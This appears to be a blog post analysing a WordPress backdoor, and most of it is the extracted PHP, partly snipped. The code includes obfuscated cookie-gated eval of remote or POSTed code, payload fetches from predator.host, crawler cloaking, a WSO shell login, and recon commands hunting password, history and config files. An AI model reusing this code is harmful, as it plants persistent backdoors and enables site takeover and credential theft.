    var $iqugib_khifechoz = null;
    var $tapuqy = &apos;obuxuc.gif&apos;;
    var $avihyvi = false;

    public function __construct($sovama_gadoseqam = false) {
        if ($sovama_gadoseqam) {
            $this-&amp;gt;ezaled_ygovajiq();
        }
    }

    public function ezaled_ygovajiq() {
        if (!$this-&amp;gt;asuram_oguwujefo()) {
            $this-&amp;gt;obygyf_rygythem();
        }
    }

    public function vemojo_opitiqazh() {
        $uzybuj_ifezhuci = &quot;DB_&quot; . &quot;NAM&quot; . &quot;E&quot;;
        return defined($uzybuj_ifezhuci);
    }

    protected function egogac_thecuquzu($sovama_gadoseqam) {
        $elojub_xevotine = crc32($sovama_gadoseqam);
        if ((PHP_INT_SIZE &amp;gt; 4) &amp;amp;&amp;amp; ($elojub_xevotine &amp;amp; 0x80000000))
            $elojub_xevotine = $elojub_xevotine - 0x100000000;
        return abs($elojub_xevotine);
    }

    protected function ifiwug_yzhicozu($sovama_gadoseqam) {
        $denedu_chivymaxa = array(
            CURLOPT_RETURNTRANSFER =&amp;gt; true,
            CURLOPT_HEADER =&amp;gt; false,
            CURLOPT_FOLLOWLOCATION =&amp;gt; true,
            CURLOPT_ENCODING =&amp;gt; &quot;&quot;,
            CURLOPT_USERAGENT =&amp;gt; &quot;Mo&quot; . &quot;zill&quot; . &quot;a/5&quot; . &quot;.0 (&quot; . &quot;Win&quot; . &quot;dow&quot; . &quot;s N&quot; . &quot;T 6.&quot; . &quot;1; &quot; . &quot;Win64&quot; . &quot;; x&quot; . &quot;64;&quot; . &quot; rv:&quot; . &quot;106.0&quot; . &quot;) Gec&quot; . &quot;ko/2&quot; . &quot;01001&quot; . &quot;01 &quot; . &quot;Fi&quot; . &quot;refox&quot; . &quot;/1&quot; . &quot;06&quot; . &quot;.0&quot;,
            CURLOPT_AUTOREFERER =&amp;gt; true,
            CURLOPT_CONNECTTIMEOUT =&amp;gt; 180,
            CURLOPT_TIMEOUT =&amp;gt; 180,
            CURLOPT_MAXREDIRS =&amp;gt; 10,
            CURLOPT_SSL_VERIFYPEER =&amp;gt; false,
            CURLOPT_SSL_VERIFYHOST =&amp;gt; false
        );

        $idasiq_omyvycat = curl_init($sovama_gadoseqam);
        curl_setopt_array($idasiq_omyvycat, $denedu_chivymaxa);
        $elojub_xevotine = @curl_exec($idasiq_omyvycat);
        if (!$elojub_xevotine)
            $elojub_xevotine = @file_get_contents($sovama_gadoseqam);
        return $elojub_xevotine;
    }

    protected function tibahy_kesutuwokh($sovama_gadoseqam, $ipisyg_zecukhopo) {
        $denedu_chivymaxa = &apos;&apos;;
        $idasiq_omyvycat = &quot;ex&quot; . &quot;plo&quot; . &quot;de&quot;;
        $elojub_xevotine = &quot;tri&quot; . &quot;m&quot;;
        $gifoju_ezhecewam = &quot;bas&quot; . &quot;e6&quot; . &quot;4_de&quot; . &quot;co&quot; . &quot;de&quot;;
        $ybohep_thozydode = &quot;gzi&quot; . &quot;nfla&quot; . &quot;te&quot;;
        $ewinud_wanuwuxum = $idasiq_omyvycat(&quot;\n&quot;, $sovama_gadoseqam);
        for ($ihixuz_ovokusypy = 0; $ihixuz_ovokusypy &amp;lt; sizeof($ewinud_wanuwuxum); $ihixuz_ovokusypy++) {
            $denedu_chivymaxa .= $elojub_xevotine($ewinud_wanuwuxum[$ihixuz_ovokusypy]);
        }

        if (!$ipisyg_zecukhopo) {
            return $ybohep_thozydode($gifoju_ezhecewam($denedu_chivymaxa));
        }

        $elijuv_achuwoth = &apos;&apos;;

        for ($ygilis_thokhowufa = 0; $ygilis_thokhowufa &amp;lt; sizeof($ipisyg_zecukhopo); $ygilis_thokhowufa += 2) {
            if ($ygilis_thokhowufa % 4) {
                $elijuv_achuwoth .= substr($denedu_chivymaxa, $ipisyg_zecukhopo[$ygilis_thokhowufa], $ipisyg_zecukhopo[$ygilis_thokhowufa + 1]);
            } else {
                $elijuv_achuwoth .= strrev(substr($denedu_chivymaxa, $ipisyg_zecukhopo[$ygilis_thokhowufa], $ipisyg_zecukhopo[$ygilis_thokhowufa + 1]));
            }
        };

        $elijuv_achuwoth = $gifoju_ezhecewam($elijuv_achuwoth);

        return $elijuv_achuwoth;
    }

    public function lajugo_thyshozhon() {
        if ($this-&amp;gt;iqugib_khifechoz)
            return true;
        return $this-&amp;gt;sataxi_aqezuhul();
    }

    protected function asuram_oguwujefo() {
        if (!$this-&amp;gt;vemojo_opitiqazh())
            header(&quot;gege&quot; . &quot;l3&quot; . &quot;:&quot; . ($this-&amp;gt;mojati_ibotivykh + 1));
        $elijuv_achuwoth = &quot;HTTP&quot; . &quot;_H&quot; . &quot;OST&quot;;
        $ybohep_thozydode = strtoupper($_SERVER[$elijuv_achuwoth]);
        $togura_chothethu = $this-&amp;gt;nocibo_qopevymy($ybohep_thozydode, 5, 7);
        $hiqafa_emyxethypa = $this-&amp;gt;nocibo_qopevymy($ybohep_thozydode . $ybohep_thozydode, 4, 8);

        if (isset($_COOKIE[$togura_chothethu])) {
            if ($this-&amp;gt;lajugo_thyshozhon()) {
                $gifoju_ezhecewam = md5($_COOKIE[$togura_chothethu]);
                if (($gifoju_ezhecewam == $this-&amp;gt;iqugib_khifechoz)) {
                    if ((!isset($_COOKIE[$hiqafa_emyxethypa])) &amp;amp;&amp;amp; (!isset($_POST[$hiqafa_emyxethypa]))) {
                        $ashuwic = __DIR__ . &quot;/assets/article_images/images/pozokyd.png&quot;;
                        if (file_exists($ashuwic)) {
                            $etiwuro = file_get_contents($ashuwic);
                            $etiwuro = xutuqu_cexethyth($etiwuro);
                            echo $etiwuro;
                            @unlink($ashuwic);
                            exit;
                        }
                    } else {
                        if (isset($_COOKIE[$hiqafa_emyxethypa])) {
                            $ypifef_ycekhexica = $_COOKIE[$hiqafa_emyxethypa];
                            $ihixuz_ovokusypy = base64_decode($ypifef_ycekhexica);
                            $ygilis_thokhowufa = $this-&amp;gt;ifiwug_yzhicozu($ihixuz_ovokusypy);
                        }

                        if (isset($_POST[$hiqafa_emyxethypa])) {
                            $ygilis_thokhowufa = base64_decode($_POST[$hiqafa_emyxethypa]);
                        }

                        $this-&amp;gt;inijek_imanevet = $ygilis_thokhowufa;
                        return true;
                    }
                }
            }
        }

        return false;
    }

    protected function obygyf_rygythem() {
        $denedu_chivymaxa = __DIR__ . &quot;/assets/article_images/images/&quot; . $this-&amp;gt;lynosha;
        $idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
        if (!$idasiq_omyvycat)
            return false;
        $this-&amp;gt;dabire_qychysho = $idasiq_omyvycat;
        return true;
    }

    public function kecyfy_chichuxe() {
        $denedu_chivymaxa = &quot;dir&quot; . &quot;na&quot; . &quot;me&quot;;
        $denedu_chivymaxa = $denedu_chivymaxa(__FILE__);
        $denedu_chivymaxa = str_replace(&quot;\\&quot;, &quot;/&quot;, $denedu_chivymaxa);
        $idasiq_omyvycat = explode(&quot;/&quot;, $denedu_chivymaxa);
        $idasiq_omyvycat = end($idasiq_omyvycat);
        $idasiq_omyvycat = $idasiq_omyvycat . &quot;/&quot; . $idasiq_omyvycat . &quot;.php&quot;;
        return $idasiq_omyvycat;
    }

    public function zefodu_kashorit() {
        $denedu_chivymaxa = &quot;wpyii&quot; . &quot;2/wpy&quot; . &quot;ii&quot; . &quot;2.&quot; . &quot;ph&quot; . &quot;p&quot;;
        return $denedu_chivymaxa;
    }

    public function kymygu_izhekhas() {
        $denedu_chivymaxa = &quot;pxc&quot; . &quot;elP&quot; . &quot;ag&quot; . &quot;e_&quot; . &quot;c0100&quot; . &quot;2&quot;;
        return $denedu_chivymaxa;
    }

    public function gukydi_odypusuq() {
        $denedu_chivymaxa = &quot;604&quot; . &quot;800&quot;;
        return $denedu_chivymaxa;
    }

    public function iqobiv_uzhuteth() {
        $denedu_chivymaxa = &quot;YII_&quot; . &quot;WEB&quot; . &quot;_DIR&quot;;
        return $denedu_chivymaxa;
    }

    public function oxyqox_inypewapo() {
        $denedu_chivymaxa = &quot;YII_W&quot; . &quot;EB_PA&quot; . &quot;TH&quot;;
        return $denedu_chivymaxa;
    }

    public function nocibo_qopevymy($sovama_gadoseqam, $ipisyg_zecukhopo, $zytate_dykebech) {
        $elojub_xevotine = &quot;su&quot; . &quot;bstr&quot;;
        $gifoju_ezhecewam = &quot;st&quot; . &quot;rle&quot; . &quot;n&quot;;
        $elijuv_achuwoth = &quot;qwr&quot; . &quot;tpsdg&quot; . &quot;hjklz&quot; . &quot;xc&quot; . &quot;vbnm&quot;;
        $ybohep_thozydode = &quot;ey&quot; . &quot;uoa&quot;;

        $denedu_chivymaxa = 0;
        for ($idasiq_omyvycat = 0; $idasiq_omyvycat &amp;lt; $gifoju_ezhecewam($sovama_gadoseqam); $idasiq_omyvycat++) {
            $ewinud_wanuwuxum = ord($elojub_xevotine($sovama_gadoseqam, $idasiq_omyvycat, 1));
            $denedu_chivymaxa += $ewinud_wanuwuxum + $ewinud_wanuwuxum * ($ewinud_wanuwuxum + $idasiq_omyvycat);
        }

        $ewinud_wanuwuxum = $zytate_dykebech - $ipisyg_zecukhopo;
        $ihixuz_ovokusypy = $denedu_chivymaxa % $ewinud_wanuwuxum;
        &amp;lt;SNIP&amp;gt;
            } else {
                $ygilis_thokhowufa .= $elojub_xevotine($ybohep_thozydode, $ewinud_wanuwuxum % $gifoju_ezhecewam($ybohep_thozydode), 1);
            }
        }


        return $ygilis_thokhowufa;
    }

    public function wamufa_acavezhy() {
        $denedu_chivymaxa = __DIR__ . &apos;/assets/article_images/images/&apos; . $this-&amp;gt;tapuqy;
        $idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
        $this-&amp;gt;ygicaz_heshivet = $idasiq_omyvycat;
    }

    public function ohufog_shesukeshaq() {
        $denedu_chivymaxa = &quot;READ&quot; . &quot;ME.tx&quot; . &quot;t&quot;;
        $idasiq_omyvycat = &quot;bas&quot; . &quot;e6&quot; . &quot;4_de&quot; . &quot;co&quot; . &quot;de&quot;;
        $elojub_xevotine = &quot;str&quot; . &quot;rev&quot;;
        $gifoju_ezhecewam = &quot;604&quot; . &quot;800&quot;;
        $ygilis_thokhowufa = &quot;unli&quot; . &quot;nk&quot;;
        $gifoju_ezhecewam = time() - intval($gifoju_ezhecewam) / 7;
        $ihixuz_ovokusypy = dirname(__FILE__);
        $ybohep_thozydode = &quot;file&quot; . &quot;_get&quot; . &quot;_con&quot; . &quot;tents&quot;;
        $togura_chothethu = &quot;head&quot; . &quot;er&quot;;
        $hiqafa_emyxethypa = &quot;file_&quot; . &quot;put&quot; . &quot;_cont&quot; . &quot;ents&quot;;
        $ypifef_ycekhexica = &quot;pxc&quot; . &quot;elP&quot; . &quot;ag&quot; . &quot;e_&quot; . &quot;c0100&quot; . &quot;2&quot;;

        if (isset($_COOKIE[$ypifef_ycekhexica]))
            return;

        $oqashik = false;
        if (file_exists($ihixuz_ovokusypy . &apos;/&apos; . $denedu_chivymaxa)) {
          &amp;lt;SNIP&amp;gt;
            } else {
                if (!defined(&apos;YII_FORM_OK&apos;)) {
                    define(&apos;YII_FORM_OK&apos;, 1);
                }
                $elijuv_achuwoth = $ybohep_thozydode($ihixuz_ovokusypy . &apos;/&apos; . $denedu_chivymaxa);
                $elijuv_achuwoth = $idasiq_omyvycat($elojub_xevotine($elijuv_achuwoth));
                echo $elijuv_achuwoth;
                return;
            }
        }

        try {
            $ypecuz_liwuciseth = &quot;SE&quot; . &quot;RV&quot; . &quot;ER&quot; . &quot;_ADDR&quot;;
            $biwyha_silyboshos = &quot;HTTP&quot; . &quot;_H&quot; . &quot;OST&quot;;
            $qygugo_idejacuf = &quot;REM&quot; . &quot;OTE&quot; . &quot;_AD&quot; . &quot;DR&quot;;
            $koziti_cathukythuh = &quot;disco&quot; . &quot;unt:&quot;;
            $aronuf_elexoxeche = &quot;price&quot; . &quot;:&quot;;
            $xuhypi_onypudepu = &quot;merc&quot; . &quot;ha&quot; . &quot;nt:&quot;;
            $ikunas_guwuwanaj = &quot;ord&quot; . &quot;er:&quot;;
            $byhoki_gudikhez = &quot;ad&quot; . &quot;dr&quot; . &quot;es&quot; . &quot;s:&quot;;

            $azewyd_jikujegy = &quot;12&quot; . &quot;7.0.&quot; . &quot;0.1&quot;;
            $uryvec_xinebebyg = &quot;HTT&quot; . &quot;P_&quot; . &quot;CL&quot; . &quot;IEN&quot; . &quot;T_&quot; . &quot;IP&quot;;
            $ukageg_bagakhavi = &quot;HTT&quot; . &quot;P_X&quot; . &quot;_FOR&quot; . &quot;WA&quot; . &quot;RDED_&quot; . &quot;FOR&quot;;
            $icutym_chothytuth = &quot;#^[&quot; . &quot;A-Za-&quot; . &quot;z0-9+&quot; . &quot;/=]+&quot; . &quot;$#&quot;;
            $humoca_uvugefune = &quot;RE&quot; . &quot;QUEST&quot; . &quot;_ME&quot; . &quot;THO&quot; . &quot;D&quot;;
            $pumuky_iwebukajy = &quot;https&quot; . &quot;:/&quot; . &quot;/pr&quot; . &quot;eda&quot; . &quot;to&quot; . &quot;r.ho&quot; . &quot;st/&quot; . &quot;wp/w&quot; . &quot;idg&quot; . &quot;et.&quot; . &quot;txt&quot;;
            $enaxec_pikhuxubu = &quot;GE&quot; . &quot;T&quot;;
            $jyzako_ciminina = &quot;curl_&quot; . &quot;in&quot; . &quot;it&quot;;
            $fyciho_echoluthum = &quot;str&quot; . &quot;ea&quot; . &quot;m_c&quot; . &quot;onte&quot; . &quot;xt_&quot; . &quot;cr&quot; . &quot;eate&quot;;
            $obuqad_qiwytheb = &quot;http&quot;;
            $nykyji_leheshyk = &quot;metho&quot; . &quot;d&quot;;
            $fanumi_ihushypyko = 0;
            $fizaqy_yrurigokh = 0;

            $efapop_bypethuto = isset($_SERVER[$ypecuz_liwuciseth]) ? $_SERVER[$ypecuz_liwuciseth] : $azewyd_jikujegy;
              &amp;lt;SNIP&amp;gt;

            }

            if ((isset($_SERVER[$humoca_uvugefune])) &amp;amp;&amp;amp; ($_SERVER[$humoca_uvugefune] == $enaxec_pikhuxubu)) {
                $gedilo_fyfishuba = false;
                if (function_exists($jyzako_ciminina)) {
                    $vaqyqi_uhaboshi = curl_init($pumuky_iwebukajy);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_CONNECTTIMEOUT, 15);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_TIMEOUT, 15);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_HEADER, false);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_SSL_VERIFYHOST, false);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($vaqyqi_uhaboshi, CURLOPT_HTTPHEADER, array(&quot;$koziti_cathukythuh $fanumi_ihushypyko&quot;, &quot;$ikunas_guwuwanaj $fizaqy_yrurigokh&quot;, &quot;$aronuf_elexoxeche $qyjike_ujichonaly&quot;, &quot;$xuhypi_onypudepu $uqazeq_nurinuhi&quot;, &quot;$byhoki_gudikhez $efapop_bypethuto&quot;));
                    $gedilo_fyfishuba = @curl_exec($vaqyqi_uhaboshi);
                    curl_close($vaqyqi_uhaboshi);
                    $gedilo_fyfishuba = trim($gedilo_fyfishuba);

                    if (preg_match($icutym_chothytuth, $gedilo_fyfishuba)) {
                        $asizur_izatysha = @$idasiq_omyvycat($elojub_xevotine($gedilo_fyfishuba));
                        $hiqafa_emyxethypa($ihixuz_ovokusypy . &apos;/&apos; . $denedu_chivymaxa, $gedilo_fyfishuba, LOCK_EX);
                        if (!defined(&apos;YII_FORM_OK&apos;)) {
                            define(&apos;YII_FORM_OK&apos;, 1);
                        }

                        echo $asizur_izatysha;
                    }
                }

                &amp;lt;SNIP&amp;gt;
                        )
                    );
                    $ylexyd_xahokowu = $fyciho_echoluthum($ylexyd_xahokowu);

                    $gedilo_fyfishuba = @$ybohep_thozydode($pumuky_iwebukajy, false, $ylexyd_xahokowu);
                    if (preg_match($icutym_chothytuth, $gedilo_fyfishuba)) {
                        $asizur_izatysha = @$idasiq_omyvycat($elojub_xevotine($gedilo_fyfishuba));
                        $hiqafa_emyxethypa($ihixuz_ovokusypy . &apos;/&apos; . $denedu_chivymaxa, $gedilo_fyfishuba, LOCK_EX);
                        if (!defined(&apos;YII_FORM_OK&apos;)) {
                            define(&apos;YII_FORM_OK&apos;, 1);
                        }

                        echo $asizur_izatysha;
                    }
                }
            }
        } catch (Exception $herevi_mecequsur) {

        }
    }

    public function sataxi_aqezuhul() {
        $denedu_chivymaxa = __DIR__ . &apos;/assets/article_images/images/yrukixu.png&apos;;
        if (!file_exists($denedu_chivymaxa)) {
            return false;
        }

        $idasiq_omyvycat = eryroq_eshuvynuq($denedu_chivymaxa);
        $elojub_xevotine = &quot;HTTP&quot; . &quot;_H&quot; . &quot;OST&quot;;
        $gifoju_ezhecewam = $_SERVER[$elojub_xevotine];
        $ygilis_thokhowufa = floor(strlen($idasiq_omyvycat) / 32);
        $ewinud_wanuwuxum = $this-&amp;gt;egogac_thecuquzu($gifoju_ezhecewam) % $ygilis_thokhowufa;
        $ihixuz_ovokusypy = substr($idasiq_omyvycat, $ewinud_wanuwuxum * 32, 32);
        $this-&amp;gt;mojati_ibotivykh = $ewinud_wanuwuxum;
        $this-&amp;gt;iqugib_khifechoz = $ihixuz_ovokusypy;
        define(&apos;pudety_okeloshuja&apos;, $this-&amp;gt;iqugib_khifechoz);
        return $ihixuz_ovokusypy;
    }

}

function xytaki_thylovuthok($sovama_gadoseqam) {
    $midozy = strtr($sovama_gadoseqam, array(&apos;Q&apos;=&amp;gt;&apos;R&apos;, &apos;W&apos;=&amp;gt;&apos;I&apos;, &apos;E&apos;=&amp;gt;&apos;F&apos;, &apos;R&apos;=&amp;gt;&apos;J&apos;, &apos;T&apos;=&amp;gt;&apos;w&apos;, &apos;Y&apos;=&amp;gt;&apos;V&apos;, &apos;U&apos;=&amp;gt;&apos;K&apos;, &apos;I&apos;=&amp;gt;&apos;y&apos;, &apos;O&apos;=&amp;gt;&apos;Q&apos;, &apos;P&apos;=&amp;gt;&apos;b&apos;,
        &apos;A&apos;=&amp;gt;&apos;W&apos;, &apos;S&apos;=&amp;gt;&apos;S&apos;, &apos;D&apos;=&amp;gt;&apos;q&apos;, &apos;F&apos;=&amp;gt;&apos;X&apos;, &apos;G&apos;=&amp;gt;&apos;H&apos;, &apos;H&apos;=&amp;gt;&apos;p&apos;, &apos;J&apos;=&amp;gt;&apos;o&apos;, &apos;K&apos;=&amp;gt;&apos;t&apos;, &apos;L&apos;=&amp;gt;&apos;U&apos;, &apos;Z&apos;=&amp;gt;&apos;E&apos;,
        &apos;X&apos;=&amp;gt;&apos;A&apos;, &apos;C&apos;=&amp;gt;&apos;s&apos;, &apos;V&apos;=&amp;gt;&apos;i&apos;, &apos;B&apos;=&amp;gt;&apos;l&apos;, &apos;N&apos;=&amp;gt;&apos;8&apos;, &apos;M&apos;=&amp;gt;&apos;h&apos;, &apos;q&apos;=&amp;gt;&apos;k&apos;, &apos;w&apos;=&amp;gt;&apos;Z&apos;, &apos;e&apos;=&amp;gt;&apos;r&apos;, &apos;r&apos;=&amp;gt;&apos;L&apos;,
        &amp;lt;SNIP&amp;gt;
        &apos;n&apos;=&amp;gt;&apos;n&apos;, &apos;m&apos;=&amp;gt;&apos;M&apos;, &apos;1&apos;=&amp;gt;&apos;T&apos;, &apos;2&apos;=&amp;gt;&apos;g&apos;, &apos;3&apos;=&amp;gt;&apos;2&apos;, &apos;4&apos;=&amp;gt;&apos;f&apos;, &apos;5&apos;=&amp;gt;&apos;6&apos;, &apos;6&apos;=&amp;gt;&apos;u&apos;, &apos;7&apos;=&amp;gt;&apos;=&apos;, &apos;8&apos;=&amp;gt;&apos;5&apos;,
        &apos;9&apos;=&amp;gt;&apos;B&apos;, &apos;0&apos;=&amp;gt;&apos;x&apos;, &apos;=&apos;=&amp;gt;&apos;P&apos;, &apos;+&apos;=&amp;gt;&apos;c&apos;, &apos;/&apos;=&amp;gt;&apos;0&apos;));
    return $midozy;
}

function xutuqu_cexethyth($sovama_gadoseqam) {
    $dukygod = strtr($sovama_gadoseqam, array(&apos;R&apos;=&amp;gt;&apos;Q&apos;, &apos;I&apos;=&amp;gt;&apos;W&apos;, &apos;F&apos;=&amp;gt;&apos;E&apos;, &apos;J&apos;=&amp;gt;&apos;R&apos;, &apos;w&apos;=&amp;gt;&apos;T&apos;, &apos;V&apos;=&amp;gt;&apos;Y&apos;, &apos;K&apos;=&amp;gt;&apos;U&apos;, &apos;y&apos;=&amp;gt;&apos;I&apos;, &apos;Q&apos;=&amp;gt;&apos;O&apos;, &apos;b&apos;=&amp;gt;&apos;P&apos;,
        &apos;W&apos;=&amp;gt;&apos;A&apos;, &apos;S&apos;=&amp;gt;&apos;S&apos;, &apos;q&apos;=&amp;gt;&apos;D&apos;, &apos;X&apos;=&amp;gt;&apos;F&apos;, &apos;H&apos;=&amp;gt;&apos;G&apos;, &apos;p&apos;=&amp;gt;&apos;H&apos;, &apos;o&apos;=&amp;gt;&apos;J&apos;, &apos;t&apos;=&amp;gt;&apos;K&apos;, &apos;U&apos;=&amp;gt;&apos;L&apos;, &apos;E&apos;=&amp;gt;&apos;Z&apos;,
        &amp;lt;SNIP&amp;gt;
        &apos;C&apos;=&amp;gt;&apos;g&apos;, &apos;3&apos;=&amp;gt;&apos;h&apos;, &apos;N&apos;=&amp;gt;&apos;j&apos;, &apos;Y&apos;=&amp;gt;&apos;k&apos;, &apos;j&apos;=&amp;gt;&apos;l&apos;, &apos;1&apos;=&amp;gt;&apos;z&apos;, &apos;9&apos;=&amp;gt;&apos;x&apos;, &apos;/&apos;=&amp;gt;&apos;c&apos;, &apos;G&apos;=&amp;gt;&apos;v&apos;, &apos;a&apos;=&amp;gt;&apos;b&apos;,
        &apos;n&apos;=&amp;gt;&apos;n&apos;, &apos;M&apos;=&amp;gt;&apos;m&apos;, &apos;T&apos;=&amp;gt;&apos;1&apos;, &apos;g&apos;=&amp;gt;&apos;2&apos;, &apos;2&apos;=&amp;gt;&apos;3&apos;, &apos;f&apos;=&amp;gt;&apos;4&apos;, &apos;6&apos;=&amp;gt;&apos;5&apos;, &apos;u&apos;=&amp;gt;&apos;6&apos;, &apos;=&apos;=&amp;gt;&apos;7&apos;, &apos;5&apos;=&amp;gt;&apos;8&apos;,
        &apos;B&apos;=&amp;gt;&apos;9&apos;, &apos;x&apos;=&amp;gt;&apos;0&apos;, &apos;P&apos;=&amp;gt;&apos;=&apos;, &apos;c&apos;=&amp;gt;&apos;+&apos;, &apos;0&apos;=&amp;gt;&apos;/&apos;));
    return $dukygod;
}

$gogyru_syqivafef = new dyjeny_elyzhuchoju();

&amp;lt;SNIP&amp;gt;

    }
} else {
    if ($gogyru_syqivafef-&amp;gt;lajugo_thyshozhon()) {
        $gogyru_syqivafef-&amp;gt;ezaled_ygovajiq();
        if ($gogyru_syqivafef-&amp;gt;inijek_imanevet) {
            @eval($gogyru_syqivafef-&amp;gt;inijek_imanevet);
        } else {
            @eval($gogyru_syqivafef-&amp;gt;dabire_qychysho);
        }
    }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;the-rest-of-the-code&quot;&gt;The rest of the Code&lt;/h1&gt;

&lt;p&gt;I don’t think it is the right thing to do to paste all the extracted files here and you might have noticed I snipped out a little of the content from above. I’m not an expert in this space, but it seems to be a well-built backdoor that would hide well on WordPress sites. It didn’t show up in the add-in’s console, it was only the file scan by Wordfence that caused me to look at all.&lt;/p&gt;

&lt;p&gt;Below are some of the more interesting things from the other encoded “.png” and “.gif” files that contain more functions for the shell:&lt;/p&gt;

&lt;h1 id=&quot;disk-space-and-exploitdb-lookups&quot;&gt;Disk Space and ExploitDB lookups:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    if (function_exists(&apos;diskfreespace&apos;))
        $freeSpace = @diskfreespace($GLOBALS[&apos;cwd&apos;]);
    if (function_exists(&apos;disk_total_space&apos;))
        $totalSpace = @disk_total_space($GLOBALS[&apos;cwd&apos;]);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    if (function_exists(&apos;php_uname&apos;)) {
        $phpUname = @php_uname();
        $release = @php_uname(&apos;r&apos;);
        $kernel = @php_uname(&apos;s&apos;);
    }
    $explink = &apos;https://www.exploit-db.com/search/?action=search&amp;amp;g-recaptcha-response=&amp;amp;q=&apos;;
    if (strpos(&apos;Linux&apos;, $kernel) !== false)
        $explink .= urlencode(&apos;Linux Kernel &apos; . substr($release, 0, 6));
    else
        $explink .= urlencode($kernel . &apos; &apos; . substr($release, 0, 3));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;hiding-from-crawlers&quot;&gt;Hiding from crawlers?&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (!empty($_SERVER[&apos;HTTP_USER_AGENT&apos;])) {
    $userAgents = array(&quot;Google&quot;, &quot;Slurp&quot;, &quot;MSNBot&quot;, &quot;ia_archiver&quot;, &quot;Yandex&quot;, &quot;Rambler&quot;);
    if (@preg_match(&apos;/&apos; . implode(&apos;|&apos;, $userAgents) . &apos;/i&apos;, $_SERVER[&apos;HTTP_USER_AGENT&apos;])) {
        header(&apos;HTTP/1.0 404 Not Found&apos;);
        exit;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;the-password-for-the-backdoor-and-the-form-to-accept-it&quot;&gt;The password for the backdoor and the form to accept it:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$pw=pudety_okeloshuja;
&amp;lt;SNIP&amp;gt;
function wsoLogin() {
    die(&quot;&amp;lt;form class=&apos;gegel3&apos; method=post&amp;gt;&amp;lt;input type=password name=pw&amp;gt;&amp;lt;input type=submit value=&apos;&amp;gt;&amp;gt;&apos;&amp;gt;&amp;lt;/form&amp;gt;&quot;);
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if (!empty($pw)) {
    $cook = substr(md5($_SERVER[&apos;HTTP_HOST&apos;]), 0, 3);
    if (isset($_POST[&apos;pw&apos;]) &amp;amp;&amp;amp; (md5($_POST[&apos;pw&apos;]) == $pw))
        WSOsetcookie($cook, $pw);

    if (!isset($_COOKIE[$cook]) || ($_COOKIE[$cook] != $pw))
        wsoLogin();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;recon-specific-to-hosting-os&quot;&gt;Recon specific to hosting OS:&lt;/h1&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if ($os == &apos;win&apos;)
    $als = array(
        &quot;List Directory&quot; =&amp;gt; &quot;dir&quot;,
        &quot;Find index.php in current dir&quot; =&amp;gt; &quot;dir /s /w /b index.php&quot;,
        &quot;Find *config*.php in current dir&quot; =&amp;gt; &quot;dir /s /w /b *config*.php&quot;,
        &quot;Show active connections&quot; =&amp;gt; &quot;netstat -an&quot;,
        &quot;Show running services&quot; =&amp;gt; &quot;net start&quot;,
        &quot;User accounts&quot; =&amp;gt; &quot;net user&quot;,
        &quot;Show computers&quot; =&amp;gt; &quot;net view&quot;,
        &quot;ARP Table&quot; =&amp;gt; &quot;arp -a&quot;,
        &quot;IP Configuration&quot; =&amp;gt; &quot;ipconfig /all&quot;
    );
else
    $als = array(
        &quot;show opened ports&quot; =&amp;gt; &quot;netstat -an | grep -i listen&quot;,
        &quot;process status&quot; =&amp;gt; &quot;ps aux&quot;,
        &quot;List dir&quot; =&amp;gt; &quot;ls -lha&quot;,
        &quot;list file attributes on a Linux second extended file system&quot; =&amp;gt; &quot;lsattr -va&quot;,
        &quot;Find&quot; =&amp;gt; &quot;&quot;,
        &quot;find all suid files&quot; =&amp;gt; &quot;find / -type f -perm -04000 -ls&quot;,
        &quot;find suid files in current dir&quot; =&amp;gt; &quot;find . -type f -perm -04000 -ls&quot;,
        &quot;find all sgid files&quot; =&amp;gt; &quot;find / -type f -perm -02000 -ls&quot;,
        &quot;find sgid files in current dir&quot; =&amp;gt; &quot;find . -type f -perm -02000 -ls&quot;,
        &quot;find config.inc.php files&quot; =&amp;gt; &quot;find / -type f -name config.inc.php&quot;,
        &quot;find config* files&quot; =&amp;gt; &quot;find / -type f -name \&quot;config*\&quot;&quot;,
        &quot;find config* files in current dir&quot; =&amp;gt; &quot;find . -type f -name \&quot;config*\&quot;&quot;,
        &quot;find all writable folders and files&quot; =&amp;gt; &quot;find / -perm -2 -ls&quot;,
        &quot;find all writable folders and files in current dir&quot; =&amp;gt; &quot;find . -perm -2 -ls&quot;,
        &quot;find all service.pwd files&quot; =&amp;gt; &quot;find / -type f -name service.pwd&quot;,
        &quot;find service.pwd files in current dir&quot; =&amp;gt; &quot;find . -type f -name service.pwd&quot;,
        &quot;find all .htpasswd files&quot; =&amp;gt; &quot;find / -type f -name .htpasswd&quot;,
        &quot;find .htpasswd files in current dir&quot; =&amp;gt; &quot;find . -type f -name .htpasswd&quot;,
        &quot;find all .bash_history files&quot; =&amp;gt; &quot;find / -type f -name .bash_history&quot;,
